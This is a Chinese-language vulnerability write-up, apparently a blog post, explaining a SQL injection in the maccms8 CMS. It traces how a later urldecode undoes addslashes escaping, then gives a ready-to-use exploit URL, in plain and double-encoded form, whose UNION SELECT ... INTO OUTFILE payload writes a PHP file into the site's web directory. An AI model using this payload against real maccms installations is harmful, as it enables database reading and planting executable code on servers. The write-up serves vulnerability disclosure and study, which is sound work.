maccms8 设计逻辑缺陷导致sql注入

漏洞作者: 路人甲

首先我们进入入口文件index.php:

[php]

$m = be('get','m');

if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }

$par = explode('-',$m);

$parlen = count($par);

$ac = $par[0];

 

if(empty($ac)){ $ac='vod'; $method='index'; }

 

$colnum = array("id","pg","yaer","typeid","classid");

if($parlen>=2){

$method = $par[1];

for($i=2;$i<$parlen;$i+=2){

$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);

}

}

if($tpl->P['pg']<1){ $tpl->P['pg']=1; }

[/php]

 

追踪be函数,代码如下:

[php]
function be($mode,$key,$sp=',')

{

ini_set("magic_quotes_runtime", 0);

$magicq= get_magic_quotes_gpc();

switch($mode)

{

case 'post':

$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';

break;

case 'get':

$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';

break;

case 'arr':

$arr =isset($_POST[$key]) ? $_POST[$key] : '';

if($arr==""){

$value="0";

}

else{

for($i=0;$i<count($arr);$i++){

$res=implode($sp,$arr);

}

}

break;

default:

$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';

break;

}

return $res;

}
[/php]

 

发现这里对特殊字符进行了addslashes,那么我们%2527传递到这里就是一个%27,那么就不会被过滤,然后我们逃出来看看,神奇的地方,必有神奇的写法

[php]
for($i=2;$i<$parlen;$i+=2){

$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);

}
[/php]

 

看见了没有这里又进行了urldecode,所以大家都明白了怎么绕过这个cms了,下来我们找一个文件,gbook.php:

[php]
$tpl->P['cn'] = 'gbook'.$tpl->P['pg'];

//echoPageCache($tpl->P['cp'],$tpl->P['cn']);

$tpl->H = loadFile(MAC_ROOT."/template/".$MAC['site']['templatedir']."/".$MAC['site']['htmldir']."/home_gbook.html");

$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);

$tpl->mark();

$tpl->H = str_replace("{maccms:gbookverify}", $MAC['other']['gbookverify'] ,$tpl->H);

if(strpos($tpl->H,'{maccms:count_gbook_all}')){

$tpl->H = str_replace("{maccms:
[/php]

 

这里有一个mark函数,然后我们跟踪进去发现里面有一个sql操作的函数

[php]
$this->markname = $matches1[1][$i];

$this->markpar = $matches1[2][$i];

$this->markdes = $matches1[3][$i];

$this->mark_sql();

 

switch($this->markname)

{
[/php]

再次跟进去mark_sql()函数,我们就明白了 这里进行了select查询,那么接下来我们构造sql语句,由于cms是一个伪静态页面的访问,全部由index.php分发:

url

[php]
http://192.168.10.70/maccms8_mfb_/maccms8_mfb/index.php?m=gbook-show-wd-ss11s') union select 1,2,3,user(),version(),"<?php phpinfo()?>",NULL,NULL,NULL into outfile 'E:/wamp/www/maccms8_mfb_/maccms8_mfb/cache/userinfo'#ORDER BY g_time desc limit 0,10
[/php]

 

根据上面的分析,我们对m后面的参数进行两次url编码:

[php]
http://192.168.10.70/maccms8_mfb_/maccms8_mfb/index.php?m=gbook-show-wd-ss11s%2527%2529%2520union%2520select%25201%252C2%252C3%252Cuser%2528%2529%252Cversion%2528%2529%252C%2522%253C%253Fphp%2520phpinfo%2528%2529%253F%253E%2522%252CNULL%252CNULL%252CNULL%2520into%2520outfile%2520%2527E%253A%252fwamp%252fwww%252fmaccms8_mfb_%252fmaccms8_mfb%252fcache%252fuserinfo%2527%2523ORDER%2520BY%2520g_time%2520desc%2520limit%25200%252C10
[/php]

 

请求后我们,发现如图:

2919280864b737e2cfe86b49de70df1592e5f9dc

 

 

我们然后去访问我们生成的文件:

291929204aaf3f6aa4513c7220bfa379ba15a077

1 条评论

  1. 笑话吧

    网站做的不错,继续学习

发表评论